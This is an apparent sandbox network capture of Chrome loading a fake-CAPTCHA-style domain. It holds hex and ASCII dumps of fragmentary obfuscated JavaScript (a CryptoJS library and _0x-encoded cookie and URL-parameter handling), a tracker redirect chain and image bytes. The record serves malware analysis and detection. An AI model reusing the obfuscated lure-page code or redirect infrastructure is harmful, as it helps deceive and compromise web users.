2024-10-03 15:18:42 UTC	1097	IN	Data Raw: 20 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 66 75 6e 63 74 69 6f 6e 20 72 65 71 75 65 73 74 4c 69 6e 6b 28 29 7b 72 65 74 75 72 6e 20 7b 73 65 73 73 69 6f 6e 49 64 3a 5b 27 73 69 64 27 2c 27 74 36 7e 67 73 6d 6b 72 61 65 74 6d 66 62 73 73 66 6e 7a 74 6e 63 72 6f 30 69 6c 27 5d 2c 70 31 3a Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><script>function requestLink(){return {sessionId:['sid','t6~gsmkraetmfbssfnztncro0il'],p1:
2024-10-03 15:18:42 UTC	4096	IN	Data Raw: 29 7b 76 61 72 20 65 3b 72 65 74 75 72 6e 20 69 2e 70 72 6f 74 6f 74 79 70 65 3d 74 2c 65 3d 6e 65 77 20 69 2c 69 2e 70 72 6f 74 6f 74 79 70 65 3d 6e 75 6c 6c 2c 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 69 28 29 7b 7d 76 61 72 20 74 3d 7b 7d 2c 65 3d 74 2e 6c 69 62 3d 7b 7d 2c 6e 3d 65 2e 42 61 73 65 3d 7b 65 78 74 65 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 72 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 26 26 65 2e 6d 69 78 49 6e 28 74 29 2c 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 22 69 6e 69 74 22 29 26 26 74 68 69 73 2e 69 6e 69 74 21 3d 3d 65 2e 69 6e 69 74 7c 7c 28 65 2e 69 6e 69 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 24 73 75 70 65 72 2e 69 6e 69 74 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 Data Ascii: ){var e;return i.prototype=t,e=new i,i.prototype=null,e};function i(){}var t={},e=t.lib={},n=e.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)
2024-10-03 15:18:42 UTC	4096	IN	Data Raw: 3d 4d 28 43 2c 7a 3d 4d 28 7a 2c 53 3d 4d 28 53 2c 78 2c 43 2c 7a 2c 66 2c 37 2c 77 5b 34 5d 29 2c 78 2c 43 2c 75 2c 31 32 2c 77 5b 35 5d 29 2c 53 2c 78 2c 70 2c 31 37 2c 77 5b 36 5d 29 2c 7a 2c 53 2c 64 2c 32 32 2c 77 5b 37 5d 29 2c 43 3d 4d 28 43 2c 7a 3d 4d 28 7a 2c 53 3d 4d 28 53 2c 78 2c 43 2c 7a 2c 6c 2c 37 2c 77 5b 38 5d 29 2c 78 2c 43 2c 76 2c 31 32 2c 77 5b 39 5d 29 2c 53 2c 78 2c 5f 2c 31 37 2c 77 5b 31 30 5d 29 2c 7a 2c 53 2c 79 2c 32 32 2c 77 5b 31 31 5d 29 2c 43 3d 4d 28 43 2c 7a 3d 4d 28 7a 2c 53 3d 4d 28 53 2c 78 2c 43 2c 7a 2c 67 2c 37 2c 77 5b 31 32 5d 29 2c 78 2c 43 2c 42 2c 31 32 2c 77 5b 31 33 5d 29 2c 53 2c 78 2c 6d 2c 31 37 2c 77 5b 31 34 5d 29 2c 7a 2c 53 2c 6b 2c 32 32 2c 77 5b 31 35 5d 29 2c 43 3d 44 28 43 2c 7a 3d 44 28 7a 2c 53 Data Ascii: =M(C,z=M(z,S=M(S,x,C,z,f,7,w[4]),x,C,u,12,w[5]),S,x,p,17,w[6]),z,S,d,22,w[7]),C=M(C,z=M(z,S=M(S,x,C,z,l,7,w[8]),x,C,v,12,w[9]),S,x,_,17,w[10]),z,S,y,22,w[11]),C=M(C,z=M(z,S=M(S,x,C,z,g,7,w[12]),x,C,B,12,w[13]),S,x,m,17,w[14]),z,S,k,22,w[15]),C=D(C,z=D(z,S
2024-10-03 15:18:42 UTC	1944	IN	Data Raw: 26 26 74 68 69 73 2e 5f 61 70 70 65 6e 64 28 74 29 2c 74 68 69 73 2e 5f 64 6f 46 69 6e 61 6c 69 7a 65 28 29 7d 2c 6b 65 79 53 69 7a 65 3a 34 2c 69 76 53 69 7a 65 3a 34 2c 5f 45 4e 43 5f 58 46 4f 52 4d 5f 4d 4f 44 45 3a 31 2c 5f 44 45 43 5f 58 46 4f 52 4d 5f 4d 4f 44 45 3a 32 2c 5f 63 72 65 61 74 65 48 65 6c 70 65 72 3a 66 75 6e 63 74 69 6f 6e 28 69 29 7b 72 65 74 75 72 6e 7b 65 6e 63 72 79 70 74 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 72 65 74 75 72 6e 20 68 28 65 29 2e 65 6e 63 72 79 70 74 28 69 2c 74 2c 65 2c 72 29 7d 2c 64 65 63 72 79 70 74 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 72 29 7b 72 65 74 75 72 6e 20 68 28 65 29 2e 64 65 63 72 79 70 74 28 69 2c 74 2c 65 2c 72 29 7d 7d 7d 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 68 28 74 29 7b 72 65 74 Data Ascii: &&this._append(t),this._doFinalize()},keySize:4,ivSize:4,_ENC_XFORM_MODE:1,_DEC_XFORM_MODE:2,_createHelper:function(i){return{encrypt:function(t,e,r){return h(e).encrypt(i,t,e,r)},decrypt:function(t,e,r){return h(e).decrypt(i,t,e,r)}}}});function h(t){ret
2024-10-03 15:18:42 UTC	1448	IN	Data Raw: 2e 6d 69 78 49 6e 28 74 29 7d 2c 74 6f 53 74 72 69 6e 67 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 7c 7c 74 68 69 73 2e 66 6f 72 6d 61 74 74 65 72 29 2e 73 74 72 69 6e 67 69 66 79 28 74 68 69 73 29 7d 7d 29 29 2c 79 3d 28 74 2e 66 6f 72 6d 61 74 3d 7b 7d 29 2e 4f 70 65 6e 53 53 4c 3d 7b 73 74 72 69 6e 67 69 66 79 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 2e 63 69 70 68 65 72 74 65 78 74 2c 72 3d 74 2e 73 61 6c 74 3b 72 65 74 75 72 6e 28 72 3f 61 2e 63 72 65 61 74 65 28 5b 31 33 39 38 38 39 33 36 38 34 2c 31 37 30 31 30 37 36 38 33 31 5d 29 2e 63 6f 6e 63 61 74 28 72 29 2e 63 6f 6e 63 61 74 28 65 29 3a 65 29 2e 74 6f 53 74 72 69 6e 67 28 6f 29 7d 2c 70 61 72 73 65 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 Data Ascii: .mixIn(t)},toString:function(t){return(t\|\|this.formatter).stringify(this)}})),y=(t.format={}).OpenSSL={stringify:function(t){var e=t.ciphertext,r=t.salt;return(r?a.create([1398893684,1701076831]).concat(r).concat(e):e).toString(o)},parse:function(t){var e
2024-10-03 15:18:42 UTC	1448	IN	Data Raw: 2e 64 65 63 72 79 70 74 2e 63 61 6c 6c 28 74 68 69 73 2c 74 2c 65 2c 6e 2e 6b 65 79 2c 69 29 7d 7d 29 7d 28 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 43 72 79 70 74 6f 4a 53 2c 65 3d 74 2e 6c 69 62 2e 42 6c 6f 63 6b 43 69 70 68 65 72 2c 72 3d 74 2e 61 6c 67 6f 2c 68 3d 5b 5d 2c 66 3d 5b 5d 2c 75 3d 5b 5d 2c 70 3d 5b 5d 2c 64 3d 5b 5d 2c 6c 3d 5b 5d 2c 76 3d 5b 5d 2c 5f 3d 5b 5d 2c 79 3d 5b 5d 2c 67 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 65 3d 30 3b 65 3c 32 35 36 3b 65 2b 2b 29 74 5b 65 5d 3d 65 3c 31 32 38 3f 65 3c 3c 31 3a 65 3c 3c 31 5e 32 38 33 3b 76 61 72 20 72 3d 30 2c 69 3d 30 3b 66 6f 72 28 65 3d 30 3b 65 3c 32 35 36 3b 65 2b 2b 29 7b 76 61 72 20 6e 3d 69 5e 69 3c 3c 31 5e 69 3c 3c 32 Data Ascii: .decrypt.call(this,t,e,n.key,i)}})}(),function(){var t=CryptoJS,e=t.lib.BlockCipher,r=t.algo,h=[],f=[],u=[],p=[],d=[],l=[],v=[],_=[],y=[],g=[];!function(){for(var t=[],e=0;e<256;e++)t[e]=e<128?e<<1:e<<1^283;var r=0,i=0;for(e=0;e<256;e++){var n=i^i<<1^i<<2
2024-10-03 15:18:42 UTC	145	IN	Data Raw: 68 69 73 2e 5f 6e 52 6f 75 6e 64 73 2c 68 3d 74 5b 65 5d 5e 72 5b 30 5d 2c 66 3d 74 5b 65 2b 31 5d 5e 72 5b 31 5d 2c 75 3d 74 5b 65 2b 32 5d 5e 72 5b 32 5d 2c 70 3d 74 5b 65 2b 33 5d 5e 72 5b 33 5d 2c 64 3d 34 2c 6c 3d 31 3b 6c 3c 61 3b 6c 2b 2b 29 7b 76 61 72 20 76 3d 69 5b 68 3e 3e 3e 32 34 5d 5e 6e 5b 66 3e 3e 3e 31 36 26 32 35 35 5d 5e 6f 5b 75 3e 3e 3e 38 26 32 35 35 5d 5e 73 5b 32 35 35 26 70 5d 5e 72 5b 64 2b 2b 5d 2c 5f 3d Data Ascii: his._nRounds,h=t[e]^r[0],f=t[e+1]^r[1],u=t[e+2]^r[2],p=t[e+3]^r[3],d=4,l=1;l<a;l++){var v=i[h>>>24]^n[f>>>16&255]^o[u>>>8&255]^s[255&p]^r[d++],_=
2024-10-03 15:18:42 UTC	1448	IN	Data Raw: 69 5b 66 3e 3e 3e 32 34 5d 5e 6e 5b 75 3e 3e 3e 31 36 26 32 35 35 5d 5e 6f 5b 70 3e 3e 3e 38 26 32 35 35 5d 5e 73 5b 32 35 35 26 68 5d 5e 72 5b 64 2b 2b 5d 2c 79 3d 69 5b 75 3e 3e 3e 32 34 5d 5e 6e 5b 70 3e 3e 3e 31 36 26 32 35 35 5d 5e 6f 5b 68 3e 3e 3e 38 26 32 35 35 5d 5e 73 5b 32 35 35 26 66 5d 5e 72 5b 64 2b 2b 5d 2c 67 3d 69 5b 70 3e 3e 3e 32 34 5d 5e 6e 5b 68 3e 3e 3e 31 36 26 32 35 35 5d 5e 6f 5b 66 3e 3e 3e 38 26 32 35 35 5d 5e 73 5b 32 35 35 26 75 5d 5e 72 5b 64 2b 2b 5d 3b 68 3d 76 2c 66 3d 5f 2c 75 3d 79 2c 70 3d 67 7d 76 3d 28 63 5b 68 3e 3e 3e 32 34 5d 3c 3c 32 34 7c 63 5b 66 3e 3e 3e 31 36 26 32 35 35 5d 3c 3c 31 36 7c 63 5b 75 3e 3e 3e 38 26 32 35 35 5d 3c 3c 38 7c 63 5b 32 35 35 26 70 5d 29 5e 72 5b 64 2b 2b 5d 2c 5f 3d 28 63 5b 66 3e 3e Data Ascii: i[f>>>24]^n[u>>>16&255]^o[p>>>8&255]^s[255&h]^r[d++],y=i[u>>>24]^n[p>>>16&255]^o[h>>>8&255]^s[255&f]^r[d++],g=i[p>>>24]^n[h>>>16&255]^o[f>>>8&255]^s[255&u]^r[d++];h=v,f=_,u=y,p=g}v=(c[h>>>24]<<24\|c[f>>>16&255]<<16\|c[u>>>8&255]<<8\|c[255&p])^r[d++],_=(c[f>>
2024-10-03 15:18:42 UTC	1448	IN	Data Raw: 64 5b 5f 30 78 32 65 38 61 36 32 28 27 30 78 31 34 32 27 2c 27 55 4a 6f 6f 27 29 5d 28 2f 5b 5c 5b 5d 2f 2c 27 5c 78 35 63 5b 27 29 5b 5f 30 78 32 65 38 61 36 32 28 27 30 78 31 34 36 27 2c 27 40 26 2a 4d 27 29 5d 28 2f 5b 5c 5d 5d 2f 2c 27 5c 78 35 63 5d 27 29 3b 76 61 72 20 5f 30 78 32 63 31 39 64 37 3d 6e 65 77 20 52 65 67 45 78 70 28 5f 30 78 32 65 38 61 36 32 28 27 30 78 33 31 65 27 2c 27 5b 6e 79 6f 27 29 2b 5f 30 78 31 65 63 30 65 64 2b 5f 30 78 32 65 38 61 36 32 28 27 30 78 32 37 63 27 2c 27 49 6e 76 77 27 29 29 2c 5f 30 78 31 35 64 33 35 61 3d 5f 30 78 32 63 31 39 64 37 5b 5f 30 78 32 65 38 61 36 32 28 27 30 78 65 35 27 2c 27 37 66 73 79 27 29 5d 28 6c 6f 63 61 74 69 6f 6e 5b 5f 30 78 32 65 38 61 36 32 28 27 30 78 32 61 61 27 2c 27 5b 6e 79 6f 27 Data Ascii: d[_0x2e8a62('0x142','UJoo')](/[\[]/,'\x5c[')[_0x2e8a62('0x146','@&*M')](/[\]]/,'\x5c]');var _0x2c19d7=new RegExp(_0x2e8a62('0x31e','[nyo')+_0x1ec0ed+_0x2e8a62('0x27c','Invw')),_0x15d35a=_0x2c19d7[_0x2e8a62('0xe5','7fsy')](location[_0x2e8a62('0x2aa','[nyo'
2024-10-03 15:18:42 UTC	2896	IN	Data Raw: 66 62 32 5b 5f 30 78 34 34 33 64 37 64 5d 5b 30 78 31 5d 3f 5f 30 78 33 38 30 66 62 32 5b 5f 30 78 34 34 33 64 37 64 5d 5b 30 78 31 5d 3a 75 6e 64 65 66 69 6e 65 64 3b 7d 65 6c 73 65 7b 69 66 28 67 65 74 43 6f 6f 6b 69 65 28 5f 30 78 33 32 36 31 66 63 29 29 72 65 74 75 72 6e 20 63 6f 6e 73 6f 6c 65 5b 5f 30 78 31 34 31 39 39 32 28 27 30 78 66 39 27 2c 27 23 5a 23 76 27 29 5d 28 5f 30 78 31 34 31 39 39 32 28 27 30 78 31 38 61 27 2c 27 44 4d 34 78 27 29 29 2c 67 65 74 43 6f 6f 6b 69 65 28 5f 30 78 33 32 36 31 66 63 29 3b 7d 7d 66 75 6e 63 74 69 6f 6e 20 72 53 74 72 69 6e 67 28 5f 30 78 33 64 62 63 35 34 29 7b 76 61 72 20 5f 30 78 32 34 66 65 34 36 3d 5f 30 78 34 64 38 33 2c 5f 30 78 34 32 64 31 31 37 3d 27 27 3b 66 6f 72 28 76 61 72 20 5f 30 78 32 61 33 64 Data Ascii: fb2[_0x443d7d][0x1]?_0x380fb2[_0x443d7d][0x1]:undefined;}else{if(getCookie(_0x3261fc))return console[_0x141992('0xf9','#Z#v')](_0x141992('0x18a','DM4x')),getCookie(_0x3261fc);}}function rString(_0x3dbc54){var _0x24fe46=_0x4d83,_0x42d117='';for(var _0x2a3d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.17	49752	104.26.3.30	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:41 UTC	1182	OUT	GET /redirectimg?cid=cedafb2e-d51d-4b49-be4a-674778aa8d35&did=df53cb39-6915-4d0c-99c4-537392e95846&g=US&n=19&url=aHR0cHM6Ly90cmsuaW1naHN0LWRlLmNvbS8/czU4PWp5T2dkRjFZbzdxOVZ2QkpmSmpWZmZQbHZjakRzNFUyY0l5cHNMWEtQU0lIJTJGJTJCZnJlSTRJSEZGZnZUbXFzZzVkdTYlMkZoaEl1WlJLeTN1JTJCSFBlbzBncTIzTXQ4SUxVeGs1NDViQ2htUGFHd3klMkZJdDhDY1JVTGIwTHNsOU4wUHlYckRZaW9wV1VkcmlXZDlrTkZkVUlKWmtJYllPRjlqQyUyQm0lMkJmS2MlMkJiZlM2WWJpJTJGbnR3aVlESEdZa3FpVUdsRnY5NjZZUGhNV3gyZkdhekp0SlkwbjRwTFJ4V1NIVlhzeXFhMHlMVDBNWXpLbG5XV1BFS3QxRktoMUhYbkVTJTJCcEtyMSUyRlRlUFdYRUNKZThBJTJGdGZ5c2o1ckJ3JTNEJTNEJmJyaWQ9UEIwNC0wSE42SlJKSU5CRzBNNElSUyZ0eXBlPTEmaW5zdD1iMDQ=&ag=0&s=ins&sv=17&dn=re-captha-version-4-21.buzz&dmi=1726252&pl=2&af=3215&uc=0&sm=1027&tr=3007&icon=1 HTTP/1.1 Host: jpgtrk.imghst-de.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://re-captha-version-4-21.buzz/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:18:42 UTC	935	IN	HTTP/1.1 302 Moved Temporarily Date: Thu, 03 Oct 2024 15:18:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Location: https://trk.imghst-de.com/?s58=jyOgdF1Yo7q9VvBJfJjVffPlvcjDs4U2cIypsLXKPSIH%2F%2BfreI4IHFFfvTmqsg5du6%2FhhIuZRKy3u%2BHPeo0gq23Mt8ILUxk545bChmPaGwy%2FIt8CcRULb0Lsl9N0PyXrDYiopWUdriWd9kNFdUIJZkIbYOF9jC%2Bm%2BfKc%2BbfS6Ybi%2FntwiYDHGYkqiUGlFv966YPhMWx2fGazJtJY0n4pLRxWSHVXsyqa0yLT0MYzKlnWWPEKt1FKh1HXnES%2BpKr1%2FTePWXECJe8A%2Ftfysj5rBw%3D%3D&brid=PB04-0HN6JRJINBG0M4IRS&type=1&inst=b04 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RqP9MFPNRvQ6EKvOAV6cY5H6PttnsuEMpcnsCqV8u6wd8WZhdAwipHIYhTr5Hekn50cYEq1EZP6DTgGDaurUnBOtAwQc8Vx56Ps6KBoGBLGfvbZl8BtogPG8bWIYkpoxxs7qMm1Z"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ccde7fd6caf8c24-EWR
2024-10-03 15:18:42 UTC	151	IN	Data Raw: 39 31 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 34 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: 91<html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>nginx/1.24.0</center></body></html>
2024-10-03 15:18:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.17	49750	104.26.2.30	443	7124	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 15:18:41 UTC	501	OUT	GET /8c3b94f2-2918-4d61-927e-48ce0db60264.jpg HTTP/1.1 Host: static.imghst-de.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://re-captha-version-4-21.buzz/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 15:18:42 UTC	704	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 15:18:41 GMT Content-Type: image/jpeg Content-Length: 18476 Connection: close Access-Control-Allow-Origin: * Cf-Bgj: h2pri ETag: "66f5466e-482c" Last-Modified: Thu, 26 Sep 2024 11:33:02 GMT Cache-Control: max-age=691200 CF-Cache-Status: HIT Age: 882 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UB%2FMB3oj36ll4SddZdWnX56SG8eumZFqu25Xdi2jvHIKeIMbPTssZ%2Bo1Ozke8L3Wr3dkhjczJfo4qFx%2BoF0b9X5PxE0UbntPPFuogcRH61Ga1JdSooAqu09QOpr4IXKWP%2BTfSHsB"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ccde7fd6dd4420b-EWR
2024-10-03 15:18:42 UTC	665	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e2 01 d8 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 01 c8 00 00 00 00 04 30 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 e0 00 01 00 01 00 00 00 00 00 00 61 63 73 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 f6 d6 00 01 00 00 00 00 d3 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09 64 65 73 63 00 00 00 f0 00 00 00 24 72 58 59 5a 00 00 01 14 00 00 00 14 67 58 59 5a 00 00 01 28 00 00 00 14 62 58 59 5a 00 00 01 3c 00 00 00 14 77 74 70 74 00 00 01 50 00 00 00 14 72 54 52 43 00 00 01 64 00 00 00 28 67 54 52 43 00 00 01 64 00 00 00 28 62 Data Ascii: JFIFICC_PROFILE0mntrRGB XYZ acsp-desc$rXYZgXYZ(bXYZ<wtptPrTRCd(gTRCd(b
2024-10-03 15:18:42 UTC	1369	IN	Data Raw: 19 00 1b 00 1e 00 2d 00 20 00 22 00 20 00 22 00 20 00 2d 00 44 00 2a 00 32 00 2a 00 2a 00 32 00 2a 00 44 00 3c 00 49 00 3b 00 37 00 3b 00 49 00 3c 00 6c 00 55 00 4b 00 4b 00 55 00 6c 00 7d 00 69 00 63 00 69 00 7d 00 97 00 87 00 87 00 97 00 be 00 b5 00 be 00 f9 00 f9 01 4e ff c2 00 11 08 01 48 01 ec 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 01 00 02 03 01 01 01 00 00 00 00 00 00 00 00 00 00 04 05 02 03 06 01 07 08 ff da 00 08 01 01 00 00 00 00 fa 05 7f 37 d8 4c c6 41 8f 99 8f 3d 00 00 00 00 00 28 b1 bd 85 c5 d0 7d 2d 06 05 9e 18 c5 b5 d2 83 ae 3d b7 bd 20 00 00 00 00 0e 6e 37 5b af 85 99 d7 c2 8f 8f ba 2c 35 68 95 5d 37 5e 33 b1 9a 00 00 00 00 15 31 6e a2 4a f7 f3 61 e0 00 00 00 00 00 00 01 ef 83 39 50 80 00 00 00 00 00 00 f4 f1 f4 3e c7 e1 9e 00 00 00 Data Ascii: - " " -D22D<I;7;I<lUKKUl}ici}NH"7LA=(}-= n7[,5h]7^31nJa9P>
2024-10-03 15:18:42 UTC	1369	IN	Data Raw: 1e 58 18 ea de 00 00 00 00 71 f2 27 57 c6 b6 83 67 0d 63 57 8f 49 45 1b 0c f2 b2 85 ad 6d 4d 0a e7 36 8d f7 80 00 00 00 73 13 f9 89 9a 6e 79 eb 4d d4 36 16 da 2f f8 6e a2 9b 65 8d 2d 8e 7e c0 83 2a 7e 18 ec f7 a4 f4 00 00 00 31 e0 f2 b9 a1 b7 85 16 cb 6c 09 90 2c 66 d5 4f 8b be a2 d3 df 51 60 58 3c 49 cb a6 f4 00 00 00 01 e3 df 1e 80 3c 00 f5 e7 a0 00 00 00 00 00 00 00 7e 7c 00 00 00 00 00 00 00 05 28 00 00 00 00 00 00 00 3f ff c4 00 18 01 01 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 ff da 00 08 01 02 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 cd b1 62 c5 19 b6 67 60 07 3a 5d 67 36 6e 4d 5c 5d 63 4c dd 66 6a 8c 68 9a 92 5b 2c d6 66 f1 49 a8 68 63 69 35 Data Ascii: Xq'WgcWIEmM6snyM6/ne-~*~1l,fOQ`X<I<~\|(?bg`:]g6nM\]cLfjh[,fIhci5
2024-10-03 15:18:42 UTC	1369	IN	Data Raw: 16 59 9a 78 c5 cb 73 53 cb d5 f2 14 1f 80 7f 81 34 78 d5 f8 d9 0e 62 86 34 3f 0a f0 3b 1c 50 4f e0 e5 09 f1 e5 82 a4 e4 90 56 bf b5 24 b8 d5 f8 e1 0e 72 86 1f f6 60 e6 d7 53 50 0a de 66 29 ba a7 0d ce 5c ca f9 11 0e 7e 0e 31 c6 c3 af 43 9c e6 98 11 6b 15 29 2b 1f 97 b7 8c e0 65 e8 62 36 d3 20 f1 97 86 e1 65 6a a8 d9 1d 5e 6f 6d 30 8d 7d 07 02 28 ed 4f dd f0 4c 68 10 6f a6 6a fe df 33 15 89 c7 5c 98 99 8e bf c3 d1 5a 5f 72 ff 00 db 7b 28 5a d9 66 5b f2 29 45 71 12 e3 25 66 b7 eb 13 58 d9 2f 89 91 fe 4e e2 e7 6f 97 37 46 26 26 bc 9f 4e fa 6f 83 0d 2b 76 1b 7f 0e 71 55 80 2b a5 e7 98 c8 62 72 9c b2 b0 88 20 07 c9 cf 56 78 7b 65 22 c2 93 70 f0 88 fb ab 0c a3 a5 e9 29 27 f1 bd 41 ee c2 f2 74 df e3 39 07 f7 63 a4 3f 1b 37 a1 18 35 c7 48 a5 38 ae 26 68 73 2f ad Data Ascii: YxsS4xb4?;POV$r`SPf)\~1Ck)+eb6 ej^om0}(OLhoj3\Z_r{(Zf[)Eq%fX/No7F&&No+vqU+br Vx{e"p)'At9c?75H8&hs/
2024-10-03 15:18:42 UTC	1369	IN	Data Raw: 9f 67 3d c7 82 2f 4d 31 7e 7f ee c9 bc e2 04 92 2a 7b 8a ff 00 13 6f 7d c8 dd 7c 53 bf fd f4 8d d7 c5 5b ff 00 71 2f 51 ca f9 07 f6 d2 2f 5f 15 f2 1f b9 9b af 89 f7 be e4 6e 9b d9 d4 74 52 16 5d 29 07 fe e9 e9 9a 5f 40 cf 5e 97 a5 f4 0c f5 e9 7a 5f 40 cf 5e 97 a5 f4 0c f5 e9 7a 5f 40 cf 5e 97 a5 f4 0c f5 e9 7a 5f 40 cf 5e 97 a5 f4 0c f5 e9 7a 5f 40 cf 5e 97 a5 f4 0c f5 e9 7a 5f 40 cf 5e 97 a5 f4 0c f5 e9 7a 5f 40 cf 5e 97 a5 f4 0c f5 e9 7a 5f 40 cf 5e 97 a5 f4 0c f5 e9 7a 5f 40 cf 5e 97 a5 f4 0c f5 e9 7a 5f 40 cf 5e 97 a5 f4 0c f5 e9 7a 5f 40 cf 5e 97 a5 f4 0c f5 e9 7a 5f 40 cf 5e 97 a5 f4 0c f5 e9 7a 5f 40 cf 5e 97 a5 f4 0c f5 e9 7a 5f 40 cf 5e 97 a5 f4 0c f5 e9 7a 5f 40 cf 5e 97 a5 f4 0c f5 e9 7a 5f 40 cf 5e 97 a5 f4 0c f5 e9 7a 5f 40 cf 5e 97 a5 f4 0c Data Ascii: g=/M1~*{o}\|S[q/Q/_ntR])_@^z_@^z_@^z_@^z_@^z_@^z_@^z_@^z_@^z_@^z_@^z_@^z_@^z_@^z_@^z_@^z_@^
